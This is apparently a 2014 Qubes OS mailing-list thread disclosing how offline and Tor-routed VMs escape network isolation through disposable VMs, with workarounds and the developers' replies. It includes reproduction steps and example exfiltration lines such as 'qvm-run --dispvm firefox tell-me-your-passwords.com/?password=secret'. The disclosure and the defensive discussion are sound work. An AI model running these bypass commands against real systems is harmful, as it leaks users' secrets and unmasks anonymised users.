Bypassing Network Restrictions using Disposable VMs (for offline and torified VMs)

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

[ This email was previously send to security@q-o.o on 2014-05-26, but
joanna agreed that it is not needed to keep the discussion behind
closed doors. According to the developers, the suggested fix is
unlikely to be implemented in R2 because it would slowdown dispvm
startups (sad to see performance win over security - especially in
this project's context), but "In R3 this is trivial change". Other
parts (network reachability in offlineVMs) turned out to be actually
features *sigh* (Marek might resent his email describing the use-case?) ]

The actual purpose of this email is to raise awareness and to allow
people to help themselves (see workarounds).



Network Connectivity in offlineVMs


Network Isolation Expectations about offlineVMs

offlineVMs (aka VMs with netvm set to none), can not communicate or
attack any other VM on the network layer or exfiltrate secrets to the
outside world even if the attacker can run arbitrary code within the
offlineVM and has 0days for TCP/IP stacks.
Malware executed in an offlineVM should not be able to spread anywhere
via the network layer and it should not be able to determine where it is
running (external public IP).

There are two "bugs" that allow an attacker that is able to run
arbitrary code in an offlineVM to

(1) connect/attack to the default netVM (firewallvm) and
(2) in a non-default configuration to connect to the internet.

steps to reproduce (1)
- ---------------------------
qvm-create -l green offlinevm
qvm-prefs -s offlinevm netvm none
an attacker can launch it's 0days against firewallvm via qvm-run
user@offlinevm: qvm-run --dispvm <attacks against qubes-gateway>

to be honest the attack surface is rather small but bigger than expected

risk: low

steps to reproduce (2)
- ---------------------------
lets temporarily give the offlineVM network connectivity except 1.2.3.4
qvm-prefs -s offlinevm netvm firewallvm

create a new rule "Allow network access except..." 1.2.3.4

after we are done lets remove network connectivity again (without
removing the previously created rule)
qvm-prefs -s offlinevm netvm none **

We do not assume that offlinevm has any network connectivity because it
has no netvm assigned to it - regardless of any rules in the firewall tab.

user@offlinevm $ ping google.com
connect: Network is unreachable //as expected

user@offlinevm $ qvm-run --dispvm ping -c 1 google.com
ping shows network reachability //not expected

**) while writing these steps here I noticed that it is actually only
reproducible if you perform this step (assignment of the netvm to 'none'
via the qubes-manager GUI - not the CLI)

risk: medium

- --------------

Deanonymizing torvm user


Network Isolation and Proxy Obedience Expectations about AppVMs running
behind torvms

"
Our Tor proxy would forward only the Tor traffic, so we don't have to
fear about some Tor-not-aware applications, or even intentionally
malicious ones to compromise the privacy of our connection. This is
because such applications have no way to generate traffic to the outside
world without going through our Tor proxy (unless they could exploit a
hypothetical vulnerability in the Tor process running in the Tor VM).
Also, the applications running in any VM behind the Tor proxy are not
able to determine any globally identifiable IDs, such as the user's
external IP address, the real MAC address used by real NICs
"

http://theinvisiblethings.blogspot.de/2011/09/playing-with-qubes-networking-for-fun.html

- From the documentation:
http://qubes-os.org/trac/wiki/UserDoc/TorVM

"
(Optional) Modify Qubes policies to prevent accidental clearnet leaks
from the new AnonVM

/etc/qubes-rpc/policy/qubes.OpenInVM

anon-web $dispvm deny
$anyvm $dispvm allow
$anyvm $anyvm ask

/etc/qubes-rpc/policy/qubes.VMShell

anon-web $dispvm deny
"

This should not be "Optional" but mandatory if anonVMs are aiming to be
(traffic) safe against malicious or vulnerable applications.


Workaround (applies to all issues in this email):
- -------------------------------------------------
option #1:
remove the following line from the policy files
$anyvm $dispvm allow

option #2:
change the dispvm's default netvm to none

Suggested fix (applies to all issues in this email):
- -----------------------------------------------------
disposable VMs should inherit by default the netVM from the AppVM which
created it (while still being configurable), that would prevent most
firewall-bypass-via-dvm attacks
If the appVM had no netvm the spawned dvm shouldn't have one either.
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJThlfkAAoJEG58zmw5nc+vb5AQALIztzh6/tU2OQjmywJ6yswQ
5N2poQBzkd6u/n7PPYgGR9pvq22+aAxaXMOE337KxEgWoc5Q0yb9f8fzEwGQe2eA
x32ISgw9yFzX0KH0xmvM9E/YY+Xc6PZxr8E7nuisOOzPXT9Om1lWE18YrbNw7+HG
qd4LbgjAPHF6XVd/Ax5pS/fnGu8Yoegs8uBJOzYXW7zwTQiW82mwfaHG78dhBQ6M
7ivQZlm7RuQQCQnMGKx7h3pmEhM9ZbAMrZl6y//wjGbPUknKn2+A0VBbV4iwCDOy
qX8NP3W923oRG44bOOYVWqFdOwf2r2zc7j6P3mkUAJSDnEeYCNoaHFjkM3DQVgts
slBuNjvyWXDYdm9Swky5CDV5aR9MvN359DT6GlZrr3qaCfKMzlik5BDRxSrS5Cy9
9yJhjcXitsi8WiR0hgvqGkvkTejmYeClC/ONYHg0BYXJmYoWFxw6JJ7zLu3WHt9T
55ah1iFzTkBBDPNfS+ZIfPny0Tq6Aah33Sw7/GKk0RvXQqeJ+R3gzuqfcYN3fM3G
3ZsLov/WFSEJ/OkxELEJD3Fe1C3d1HwxxPtZHhMyUj7/qM0wdJc3JaEy9LSqAblI
5Gpd4/3J+MHT2cs1CRwjVBLJ+NJ1wbCyxLEG6Y4VEplrbaKmeH+6EUyIhYkFRakq
EaS0GlTOHs3CulpI1hVB
=0/Ck
-----END PGP SIGNATURE-----

[Marek Marczykowski-Górecki]

On 28.05.2014 23:40, Joonas Lehtonen wrote:
> [ This email was previously send to security@q-o.o on 2014-05-26, but
> joanna agreed that it is not needed to keep the discussion behind
> closed doors. According to the developers, the suggested fix is
> unlikely to be implemented in R2 because it would slowdown dispvm
> startups (sad to see performance win over security - especially in
> this project's context), but "In R3 this is trivial change". Other
> parts (network reachability in offlineVMs) turned out to be actually
> features *sigh* (Marek might resent his email describing the use-case?) ]

There was an use case for offline-VM to have network-connected DispVM:
printing. DispVM inherit firewall settings, so you can set netvm to "none",
then set firewall to allow access only to your printer. But since almost none
of printers supports encrypted connection, similar level of security can be
achieved by dedicated "printing" VM (which have access only to your printer).

>
> The actual purpose of this email is to raise awareness and to allow
> people to help themselves (see workarounds).
>
>
>
> Network Connectivity in offlineVMs
>
>
> Network Isolation Expectations about offlineVMs
>
> offlineVMs (aka VMs with netvm set to none), can not communicate or
> attack any other VM on the network layer or exfiltrate secrets to the
> outside world even if the attacker can run arbitrary code within the
> offlineVM and has 0days for TCP/IP stacks.
> Malware executed in an offlineVM should not be able to spread anywhere
> via the network layer and it should not be able to determine where it is
> running (external public IP).
>
> There are two "bugs" that allow an attacker that is able to run
> arbitrary code in an offlineVM to
>
> (1) connect/attack to the default netVM (firewallvm) and
> (2) in a non-default configuration to connect to the internet.
>
> steps to reproduce (1)

> ---------------------------
> qvm-create -l green offlinevm
> qvm-prefs -s offlinevm netvm none
> an attacker can launch it's 0days against firewallvm via qvm-run
> user@offlinevm: qvm-run --dispvm <attacks against qubes-gateway>
>
> to be honest the attack surface is rather small but bigger than expected
>
> risk: low
>
> steps to reproduce (2)

> ---------------------------
> lets temporarily give the offlineVM network connectivity except 1.2.3.4
> qvm-prefs -s offlinevm netvm firewallvm
>
> create a new rule "Allow network access except..." 1.2.3.4
>
> after we are done lets remove network connectivity again (without
> removing the previously created rule)
> qvm-prefs -s offlinevm netvm none **
>
> We do not assume that offlinevm has any network connectivity because it
> has no netvm assigned to it - regardless of any rules in the firewall tab.
>
> user@offlinevm $ ping google.com
> connect: Network is unreachable //as expected
>
> user@offlinevm $ qvm-run --dispvm ping -c 1 google.com
> ping shows network reachability //not expected
>
> **) while writing these steps here I noticed that it is actually only
> reproducible if you perform this step (assignment of the netvm to 'none'
> via the qubes-manager GUI - not the CLI)
>
> risk: medium
>

> --------------
>
> Deanonymizing torvm user
>
>
> Network Isolation and Proxy Obedience Expectations about AppVMs running
> behind torvms
>
> "
> Our Tor proxy would forward only the Tor traffic, so we don't have to
> fear about some Tor-not-aware applications, or even intentionally
> malicious ones to compromise the privacy of our connection. This is
> because such applications have no way to generate traffic to the outside
> world without going through our Tor proxy (unless they could exploit a
> hypothetical vulnerability in the Tor process running in the Tor VM).
> Also, the applications running in any VM behind the Tor proxy are not
> able to determine any globally identifiable IDs, such as the user's
> external IP address, the real MAC address used by real NICs
> "
>
> http://theinvisiblethings.blogspot.de/2011/09/playing-with-qubes-networking-for-fun.html
>

> From the documentation:
> http://qubes-os.org/trac/wiki/UserDoc/TorVM
>
> "
> (Optional) Modify Qubes policies to prevent accidental clearnet leaks
> from the new AnonVM
>
> /etc/qubes-rpc/policy/qubes.OpenInVM
>
> anon-web $dispvm deny
> $anyvm $dispvm allow
> $anyvm $anyvm ask
>
> /etc/qubes-rpc/policy/qubes.VMShell
>
> anon-web $dispvm deny
> "
>
> This should not be "Optional" but mandatory if anonVMs are aiming to be
> (traffic) safe against malicious or vulnerable applications.
>
>
> Workaround (applies to all issues in this email):

> -------------------------------------------------
> option #1:
> remove the following line from the policy files
> $anyvm $dispvm allow
>
> option #2:
> change the dispvm's default netvm to none
>
> Suggested fix (applies to all issues in this email):

> -----------------------------------------------------
> disposable VMs should inherit by default the netVM from the AppVM which
> created it (while still being configurable), that would prevent most
> firewall-bypass-via-dvm attacks
> If the appVM had no netvm the spawned dvm shouldn't have one either.

Such a change can introduce many problems and we're too close to final
R2 release to do it now (to not postpone it even further). Also there is
rather easy workaround. But generally it is doable with negligible performance
cost and I think it is a good idea. In R3 this is a trivial change, but also
doable as an update for R2.

http://wiki.qubes-os.org/trac/ticket/862

--
Best Regards,
Marek Marczykowski-Górecki
Invisible Things Lab
A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?

[Franz]

Thanks to Joonas for the evident effort, but, after reading it 4 times, I would like to avoid to have to really understand it.

So, if

1. I never use the "open in DVM" command to open files of an offlineVM

2. I do not change the firewall rules in relation to an offlineVM,

may I be safe the same, even without having to install workaround?

Or is workaround suggested in any case?

Best

Franz

[Axon]

Joonas Lehtonen:

> [ This email was previously send to security@q-o.o on 2014-05-26, but
> joanna agreed that it is not needed to keep the discussion behind
> closed doors. According to the developers, the suggested fix is
> unlikely to be implemented in R2 because it would slowdown dispvm
> startups (sad to see performance win over security - especially in
> this project's context), but "In R3 this is trivial change". Other
> parts (network reachability in offlineVMs) turned out to be actually
> features *sigh* (Marek might resent his email describing the use-case?) ]
>
> The actual purpose of this email is to raise awareness and to allow
> people to help themselves (see workarounds).
>
>
>
> Network Connectivity in offlineVMs
>
>
> Network Isolation Expectations about offlineVMs
>
> offlineVMs (aka VMs with netvm set to none), can not communicate or
> attack any other VM on the network layer or exfiltrate secrets to the
> outside world even if the attacker can run arbitrary code within the
> offlineVM and has 0days for TCP/IP stacks.
> Malware executed in an offlineVM should not be able to spread anywhere
> via the network layer and it should not be able to determine where it is
> running (external public IP).
>
> There are two "bugs" that allow an attacker that is able to run
> arbitrary code in an offlineVM to
>
> (1) connect/attack to the default netVM (firewallvm) and
> (2) in a non-default configuration to connect to the internet.
>
> steps to reproduce (1)

> ---------------------------
> qvm-create -l green offlinevm
> qvm-prefs -s offlinevm netvm none
> an attacker can launch it's 0days against firewallvm via qvm-run
> user@offlinevm: qvm-run --dispvm <attacks against qubes-gateway>
>
> to be honest the attack surface is rather small but bigger than expected
>
> risk: low
>
> steps to reproduce (2)

> ---------------------------
> lets temporarily give the offlineVM network connectivity except 1.2.3.4
> qvm-prefs -s offlinevm netvm firewallvm
>
> create a new rule "Allow network access except..." 1.2.3.4
>
> after we are done lets remove network connectivity again (without
> removing the previously created rule)
> qvm-prefs -s offlinevm netvm none **
>
> We do not assume that offlinevm has any network connectivity because it
> has no netvm assigned to it - regardless of any rules in the firewall tab.
>
> user@offlinevm $ ping google.com
> connect: Network is unreachable //as expected
>
> user@offlinevm $ qvm-run --dispvm ping -c 1 google.com
> ping shows network reachability //not expected
>
> **) while writing these steps here I noticed that it is actually only
> reproducible if you perform this step (assignment of the netvm to 'none'
> via the qubes-manager GUI - not the CLI)
>
> risk: medium
>

I originally wrote "(Optional)" there for two main reasons:

1. Like the first optional step, this step isn't actually required to
*install* TorVM. (The section heading is, after all, "Installation.")

2. Some users might have a specific need for opening DispVMs from
AnonVMs for their own special reasons. For these users, this step will
necessarily be optional.

Having said that, I think you make a good point, and I have no objection
to the removal of the "(Optional)" flag, especially if it is likely to
keep most TorVM users safer. (Users who fall under my second reason are
likely to know--or easily figure out--that they need to edit the policy
differently in order to fit their specific needs, and at least they'll
be aware that they're taking an extra risk in doing so.)

>
> Workaround (applies to all issues in this email):

> -------------------------------------------------
> option #1:
> remove the following line from the policy files
> $anyvm $dispvm allow
>

Most average users will probably never even use VMShell (at least, I
never have). So, for us, I'm thinking this would be even safer:

/etc/qubes-rpc/policy/qubes.VMShell:

$anyvm $anyvm deny

> option #2:
> change the dispvm's default netvm to none
>

I used to champion this suggestion, but I've found that network
attachment to running DispVMs is too unreliable. Much of the time, when
I had my DVM template's NetVM set to "none" and I started a DispVM and
manually connected it to firewallvm, I still didn't have any networking
in that DispVM...

> Suggested fix (applies to all issues in this email):

[Axon]

Franz:

Note that OpenInVM and VMShell are two different things with different
policy files. VMShell is what allows you to use the "qvm-run" command in
one AppVM to execute commands in a different AppVM. For example, if you
open a terminal in your "work" AppVM and type "qvm-run --dispvm
firefox", then Firefox will start in a new DispVM.

> 2. I do not change the firewall rules in relation to an offlineVM,
>

A DispVM which is the child of another AppVM inherits the firewall rules
of its parent. (So, in my example above, the new DispVM running Firefox
would have the same firewall rules as your "work" AppVM.) Your
offlinevm's firewall rules don't matter for your offlinevm itself. (It's
an offlinevm, which means that it has no NetVM. So its firewall rules
don't have anything to govern.) However, your offlinevm's firewall rules
*do* matter for its DispVM children, since they inherit those rules.

Whether you need to change the firewall rules of your offlinevm depends
on what the firewall rules of your offlinevm currently are. If you
created your offlinevm by first created a normal, firewallvm-connected
AppVM then manually removing the NetVM, then it probably still has
fully-permissive firewall rules, and you should probably change them.

> may I be safe the same, even without having to install workaround?
>
> Or is workaround suggested in any case?
>

As I said in my other email:

Most average users will probably never even use VMShell (at least, I
never have). So, for us, I'm thinking this would be even safer:

/etc/qubes-rpc/policy/qubes.VMShell:

$anyvm $anyvm deny

If you do need to use VMShell (and you're forgetful and error-prone,
like me ;), I would recommend just manually adding lines above that one
for each AppVM in which you need to use it.

> Best
> Franz
>

[Hakisho Nukama]

Why not change the default to ask instead of allow?

$anyvm $dispvm ask

Best Regards,
Hakisho Nukama

[Joanna Rutkowska]

On 05/28/14 23:40, Joonas Lehtonen wrote:
> [ This email was previously send to security@q-o.o on 2014-05-26,
> but joanna agreed that it is not needed to keep the discussion
> behind closed doors. According to the developers, the suggested fix
> is unlikely to be implemented in R2 because it would slowdown dispvm
> startups (sad to see performance win over security - especially in
> this project's context), but "In R3 this is trivial change". Other
> parts (network reachability in offlineVMs) turned out to be actually
> features *sigh* (Marek might resent his email describing the
> use-case?) ]
>
> The actual purpose of this email is to raise awareness and to allow
> people to help themselves (see workarounds).
>

Here forwarding my original reply (from secu...@qubes-os.org):

On 05/27/14 00:57, Joonas Lehtonen wrote:
> Bypassing Network Restrictions using Disposable VMs

>
>
> Network Connectivity in offlineVMs
>
>
> Network Isolation Expectations about offlineVMs
>
> offlineVMs (aka VMs with netvm set to none), can not communicate or
> attack any other VM on the network layer or exfiltrate secrets to
> the outside world even if the attacker can run arbitrary code within
> the offlineVM and has 0days for TCP/IP stacks.

That's not really true:

http://wiki.qubes-os.org/trac/wiki/DataLeaks

> Malware executed in an offlineVM should not be able to spread
> anywhere via the network layer

Correct.

> and it should not be able to determine where it is running (external
> public IP).
>

Mostly correct, except if it were able to cooperate with malware in some
other AppVM, establish a covert channel, and then somehow together
figure out where are they executing.

> There are two "bugs" that allow an attacker that is able to run
> arbitrary code in an offlineVM to
>
> (1) connect/attack to the default netVM (firewallvm) and (2) in a
> non-default configuration to connect to the internet.
>

> steps to reproduce (1) --------------------------- qvm-create -l

> green offlinevm qvm-prefs -s offlinevm netvm none an attacker can
> launch it's 0days against firewallvm via qvm-run user@offlinevm:
> qvm-run --dispvm <attacks against qubes-gateway>
>
> to be honest the attack surface is rather small but bigger than
> expected
>
> risk: low
>

> steps to reproduce (2) --------------------------- lets temporarily

> give the offlineVM network connectivity except 1.2.3.4 qvm-prefs -s
> offlinevm netvm firewallvm
>
> create a new rule "Allow network access except..." 1.2.3.4
>
> after we are done lets remove network connectivity again (without
> removing the previously created rule) qvm-prefs -s offlinevm netvm
> none **
>
> We do not assume that offlinevm has any network connectivity because
> it has no netvm assigned to it - regardless of any rules in the
> firewall tab.
>
> user@offlinevm $ ping google.com connect: Network is unreachable //as
> expected
>
> user@offlinevm $ qvm-run --dispvm ping -c 1 google.com ping shows
> network reachability //not expected
>
> **) while writing these steps here I noticed that it is actually
> only reproducible if you perform this step (assignment of the netvm
> to 'none' via the qubes-manager GUI - not the CLI)
>
> risk: medium
>

> --------------
>
> Deanonymizing torvm user
>
>
> Network Isolation and Proxy Obedience Expectations about AppVMs
> running behind torvms
>
> " Our Tor proxy would forward only the Tor traffic, so we don't have
> to fear about some Tor-not-aware applications, or even intentionally
> malicious ones to compromise the privacy of our connection. This is
> because such applications have no way to generate traffic to the
> outside world without going through our Tor proxy (unless they could
> exploit a hypothetical vulnerability in the Tor process running in
> the Tor VM). Also, the applications running in any VM behind the Tor
> proxy are not able to determine any globally identifiable IDs, such
> as the user's external IP address, the real MAC address used by real
> NICs "
>
>
> http://theinvisiblethings.blogspot.de/2011/09/playing-with-qubes

networking-for-fun.html

>
> From the documentation: http://qubes-os.org/trac/wiki/UserDoc/TorVM
>
> " (Optional) Modify Qubes policies to prevent accidental clearnet
> leaks from the new AnonVM
>
> /etc/qubes-rpc/policy/qubes.OpenInVM
>
> anon-web $dispvm deny $anyvm $dispvm allow $anyvm $anyvm
> ask
>
> /etc/qubes-rpc/policy/qubes.VMShell
>
> anon-web $dispvm deny "
>
> This should not be "Optional" but mandatory if anonVMs are aiming to
> be (traffic) safe against malicious or vulnerable applications.
>
>
> Workaround (applies to all issues in this email):

> ------------------------------------------------- option #1: remove
> the following line from the policy files $anyvm $dispvm allow
>
> option #2: change the dispvm's default netvm to none
>
> Suggested fix (applies to all issues in this email):

> ----------------------------------------------------- disposable VMs
> should inherit by default the netVM from the AppVM which created it
> (while still being configurable), that would prevent most
> firewall-bypass-via-dvm attacks If the appVM had no netvm the spawned
> dvm shouldn't have one either.
>

> regards, Joonas PS: Please do not mention me in any credits or the
> such.
>

So, there are 3 (somehow) separate problems here:

1) Preventing a compromised, network-isolated VM from being able to
cause damage to the rest of the system (e.g. compromise other VMs).

2) Preventing a compromised VM from being able to communicate with the
outside world or other (compromised) VMs bypassing Qubes policy which
attempts to prevent it (e.g. firewall settings, or netvm-not-having).

3) Preventing a compromised TOR-ified VM (or VPNed in general) from
being able to send out traffic bypassing the TOR-yfing proxy (somehow a
special case of #2 above, although the attack you described doesn't
require having a cooperating VM).

#2 above is generally not addressable on modern multi-core x86 systems
because there always exist a possibility to build covert channels
between _cooperating_ VMs using timings of CPU caches, branch
prediction, etc. We also believe there are many more straightforward
ways to build such cooperative channels between VMs running under a
hypervisor such as Xen, which has not been designed to stop such
communication. Perhaps Xen could be easily patched to eliminate the most
obvious cases (see ticket #817). Perhaps this would be "good enough" as
the timing-based covert channels are generally considered unreliable and
of very narrow bandwidth, especially in a busy desktop system with many
VMs. Nevertheless, from what I understand, they are not possible to
eliminate completely, unless we took drastic measures, such as... allow
execution of only one VM as a time. The user can do that even currently,
of course, but at the price of sacrificing convenience drastically.

#1 and #3 above are of course of much bigger concern. Fortunately these
attacks can be trivially prevented by having the user set a proper
policy, as you outlined above (e.g. set to "deny")[*].

Should we change the default policy for talking to $dispvms to "ask" or
"deny"? I don't think so, because this would hamper usability for all
other cases where dispvms are involved, but which don't fall into the
scenarios of #1 (because the originating VM already has netvm) or #3
(because the originating VM is not to be anonymized).

The solution you proposed with inheriting the netvm setting from the
originating VM is better from the usability point of view, however it
would complicate (make it slower) the startup procedure of the DispVM, I
think. I'm not sure if we would like to introduce such change at this
moment. Especially that, as I understand, in the special cases where #1
and #3 apply, the user can trivially achieve the same level of
protection by editing the policy file, correct? Marek, what do you think?

BTW, I've always thought about network-disconnected VMs as ultimately
trusted ones (last bastion, not reachable even to TCP/IP stack
exploits), rather than ultimately untrusted. In that case #1 and #2
above don't present a real threat, I think.

But I also see that for all the people who use TOR on Qubes, the ticket
#817 is becoming somehow important, as it allows to build a bridge
around TOR.

Whatever we decide to do (leave it up to the user to setup "ask/deny" in
the policy files vs. introduce netvm inheritance), I think we might want
to release a QSB describing all the problems discussed here (as well as
the issue with wrong FORWARD policy discussed a few days ago), at the
very least to attract user's attention to those problems. Especially the
TOR users.


Thanks,
joanna.

[*] Although please note that #3 might still be possible if we assume
there is another compromised VM in the system and the anon VM is
establishing a covert channel with this other one. In this case (i.e.
paired with other compromised appvm) #3 is becoming a special case of #2.

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

> Thanks to Joonas for the evident effort, but, after reading it 4
> times, I would like to avoid to have to really understand it.

Yes, the email was originally written and intended for the devs, but
to make it more clear:

- - do _not_ assume blindly that your offline AppVM (netvm => 'none')
can not upload your keepass db file to the Internet via a disposable VM:

qvm-run --dispvm firefox
tell-me-your-passwords.com/?username=foobar&password=secret...


- - do _not_ assume that a torified VM behind torvm can not simply
bypass the torvm and tell the attacker your real IP via:

qvm-run --dispvm firefox tell-me-your-real-ip.com/?id=victimID123

> 1. I never use the "open in DVM" command to open files of an
> offlineVM

The question is not whether you use DispVMs but whether the attacker
is able to start a disposable VMs (code execution is a pre-requirement
here).

> 2. I do not change the firewall rules in relation to an offlineVM,

If you never changed your firewall settings prior to setting your
netvm to none then you are probably safe.


As a side note:
A detail has been ignored that this problem/feature only occurs/works
if you use the gui, I wasn't able to reproduce it when using
qubes-prefs -s netvm none offlineVM123.

but after all the network-in-a-offlineVM-via-dispVM use-case will
break once netvm inheriting is implemented. So I think it was not such
a great use-case after all.

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJThxE7AAoJEG58zmw5nc+vrvYP/2Goj9c63g77VosBNEXFls26
PxU+CuGXEN6my32hvxQNMbI5gzL5YL7UaIoxyoN0agXZjE0of1Vrm3XvnRF3ViSb
qMgDlcWGEP29Ab5RJbWV9CwbAMpv4aS+zstIPI2Lupsb0EYZ5U7CAAxXBsINWk3S
LOmMc5NJ8BNq2Ncx5ZLn5vjU5Z6/v4tYoVS1AjxAtSLXAHMGgOsF45f2zQsfTt4L
SZvHchhMUhwowIvcCUw9NbSxJe1YsbGrwHunrgUGY4+fvsxcShCC/nsbSDQF6agq
5aBhtvsX23Nr50Snw5p39Ogjuef7apeWlVWKuGV0N5RzTMkW4VcTAN5gmYSk3KLe
/TZIPoWVEXlef6kuQu+msgFJ6HFUEPR7bdgSR77pG77y5LSKTgGgXUU30XlrfBn4
4Q47IJdNEIySpadCTGxL2khjOLgDU+oRV+54IJA24XmWFbz2lOVSFwaLsMcQn4tl
Dw1p5lwdsRRCJvE0AcMEyr+gSKCqIqU2nXiF/Lqst2F6oqLEdgHtjaryjzONFMmE
yEmFSa1fkdfDipfV8UqWmgcPpQCVarhUvtd8sHPM1Wxw266nVzllwrP6Za2M9JtV
WI80AGTsk+sOrjQKyulxr44bGsKWaDnHf6FfuVGz64bCxDpNzMB95QXzjRmbBuO1
oQl7bq/bRjag1XxwtAS/
=zMG6
-----END PGP SIGNATURE-----

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

> Such a change can introduce many problems and we're too close to
> final R2 release to do it now (to not postpone it even further).
> Also there is rather easy workaround. But generally it is doable
> with negligible performance cost and I think it is a good idea. In
> R3 this is a trivial change, but also doable as an update for R2.

Looking forward to the update :)

> http://wiki.qubes-os.org/trac/ticket/862

btw: another negative side effect of having a closed bugtracker is
that people are unable to subscribe to tickets


-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJThxK2AAoJEG58zmw5nc+vSooP/RkK1qcC5w0QNj54KNJ/yijD
c7V1NWz/bIKWxDI52j0Y3QYnSWMJTLSUfq5FNeaGhNuAzm7irtNBtr+7xnmiMZzs
P6EzUCMyoLTPCF73TRAFEFz4+9LD1VpsuO9Fb0uYDMeGHuwpZHwYN2O8Wa8XKDzn
LU3gI7qzc+YGqbe8A4kZwtbo+jvcYBa1J5mV008rEwCUsg1Zrk0f96vv4arVml2p
AhaJ++HnA/Y4Iz3++nofRS1ietFJmjEu8Nz0U3u+gL3zsv2qCA2ScRVN35+CIWyO
k9GwnA4m4jxHe9rI0NKioohqASIXxmqpFQHyDok/gK6gxuFA19RG+H/l7QGSy6jd
MA5BbluLd5myIfSHIDdjNz1eFotXGbJ0fbON06tAEHyVJjEAMoEuP4o7B63UFAfA
tBj1Z9FwRjKHEzNjPUHqxkV1ZHRFgdFKM5oRA6F/+8KIXxufwBHdlA1N4GxwR4jX
WuhaCwknTws+Q1AJ/6pT3e5qcpvYI6XyV2NiYr62bFcywyGUkgDgknpQAJblVikc
RDfwpNwCJauA2A0vs4E/KYAx8QqW+X3RO9qIU58Nfo3LZFfVgOiWcLJg9gWkocbx
FL1xZSFoTWf1HmKIR6y3gfzJ8Xdg8+AxY8Ja9SXCLgiAA5kKliSYosJ3iZnLjavY
IsD7ouLlxvhXbtaIwTml
=13ci
-----END PGP SIGNATURE-----

[Joanna Rutkowska]

On 05/29/14 12:57, Joonas Lehtonen wrote:
>> Such a change can introduce many problems and we're too close to
>> final R2 release to do it now (to not postpone it even further).
>> Also there is rather easy workaround. But generally it is doable
>> with negligible performance cost and I think it is a good idea. In
>> R3 this is a trivial change, but also doable as an update for R2.
>
> Looking forward to the update :)
>
>> http://wiki.qubes-os.org/trac/ticket/862
>
> btw: another negative side effect of having a closed bugtracker is
> that people are unable to subscribe to tickets
>
>
>

Observe the little "RSS Feed" icon at the bottom of each wiki page, e.g.:

http://wiki.qubes-os.org/trac/login?referer=%2Ftrac%2Freport%2F3%3Fasc%3D1%26format%3Drss

j.

[Vincent Penquerc'h]

On 29/05/14 11:43, Joanna Rutkowska wrote:
> BTW, I've always thought about network-disconnected VMs as
> ultimately trusted ones (last bastion, not reachable even to TCP/IP
> stack exploits), rather than ultimately untrusted. In that case #1
> and #2 above don't present a real threat, I think.

FWIW, I have a VM (A) with no netvm, which I use to open files from
another VM (B) with netvm, and I trust A less than B (though that
trust difference is marginal, I use this system mostly to avoid "call
home" in the files I open (videos and PDFs). VM A also has a different
template, which includes VLC (that is from a third party yum repo).
The difference of trust is only marginal because I download these
files with VM B.

[Marek Marczykowski-Górecki]

Actually you've pasted address of login page ;)
The correct address is:
http://wiki.qubes-os.org/trac/ticket/862?format=rss

[Joonas Lehtonen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

>> Network Isolation Expectations about offlineVMs
>>
>> offlineVMs (aka VMs with netvm set to none), can not communicate
>> or attack any other VM on the network layer or exfiltrate secrets
>> to the outside world even if the attacker can run arbitrary code
>> within the offlineVM and has 0days for TCP/IP stacks.
>
> That's not really true:
>
> http://wiki.qubes-os.org/trac/wiki/DataLeaks

"Firewalling in Qubes is not intended to be a leak-prevention mechanism."

Understood, but I did not expect the firewall to do it, but the
absence of an uplink network connection - hence the wording 'attack
any other VM on the *network* layer'.

Note, that my email was primarily about very easily "exploitable"
bypasses via the network layer - like:

qvm-run --dispvm firefox
tell-me-your-passwords.com/?password=secret...

and not things like 'cooperative covert channels'.

-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJThxatAAoJEG58zmw5nc+vtwYQAK36qB88K6fa5JohhLWxYR3J
z2xLf7n11sxcgQoryC1tXqVHnCMirLtED332rsUvRCumh1kfgog7SE+kz0oDTDy8
G+SNkyy8RLnBgEL817yH2pCI454zszjwwxc3VgDzXVX5it84/EWXIXfjGS29t+ht
BPL2gfYK+eIBhUgYcqESXqJxtoNmVH/PfB48MzIrCAHhPt6vs46O6m4xF1VJNwSJ
PNBAU/5yZNGPPZqRmSan5UkA+erTttXdw52Y6dZVCRFTLz6UZXDshq0FNY8i4Ile
cStGRqyfIZnEWKZWnNjllbCQyTy8szs+/Zwzz1iv/KI87Y3r2D/VqeKQ8IZvRPto
Ex/HOlYnbOSUjmGaprPSnFZEf52jzeVzrdFc9vL8+V7HpgJYiv6wKVnuVW/5eSLY
Se9JwKEAnM3UGLN2yfa46JohL3+nevyobnll0mWup9kIwjzLr1McDwqFCv0lPIBJ
GesetMjiNLKlzPzBwSa4SZa4t7L1/QaU6J6BElrPahiOB7YoZUg+zg5ST0m0jGX7
A5xiypvrgaZ9LShPgONRnoGf8pHr63LdY70u+q25HIY6IgDgzcgMWKFIWdkvhqmw
fNZqytKBxO9SWuhpN2E5XiIAFvuuP3IXaQX449rReS3QwMQz/3wSw/NL+LNu5Ql1
OgrRQTygXhwK9hvoBTKN
=COAb
-----END PGP SIGNATURE-----

[Joanna Rutkowska]

On 05/29/14 13:14, Marek Marczykowski-Górecki wrote:
> On 29.05.2014 13:02, Joanna Rutkowska wrote:
>> On 05/29/14 12:57, Joonas Lehtonen wrote:
>>>> Such a change can introduce many problems and we're too close to
>>>> final R2 release to do it now (to not postpone it even further).
>>>> Also there is rather easy workaround. But generally it is doable
>>>> with negligible performance cost and I think it is a good idea. In
>>>> R3 this is a trivial change, but also doable as an update for R2.
>>>
>>> Looking forward to the update :)
>>>
>>>> http://wiki.qubes-os.org/trac/ticket/862
>>>
>>> btw: another negative side effect of having a closed bugtracker is
>>> that people are unable to subscribe to tickets
>>>
>>>
>>>
>>
>> Observe the little "RSS Feed" icon at the bottom of each wiki page, e.g.:
>>
>> http://wiki.qubes-os.org/trac/login?referer=%2Ftrac%2Freport%2F3%3Fasc%3D1%26format%3Drss
>
> Actually you've pasted address of login page ;)
> The correct address is:
> http://wiki.qubes-os.org/trac/ticket/862?format=rss
>

Actually I meant the RSS for all tickets -- the link below should work
nor non-logged-in users:

http://wiki.qubes-os.org/trac/report/3?asc=1&format=rss

j.

[Marek Marczykowski-Górecki]

Sadly this report contains only ticket description when ticket get created. I
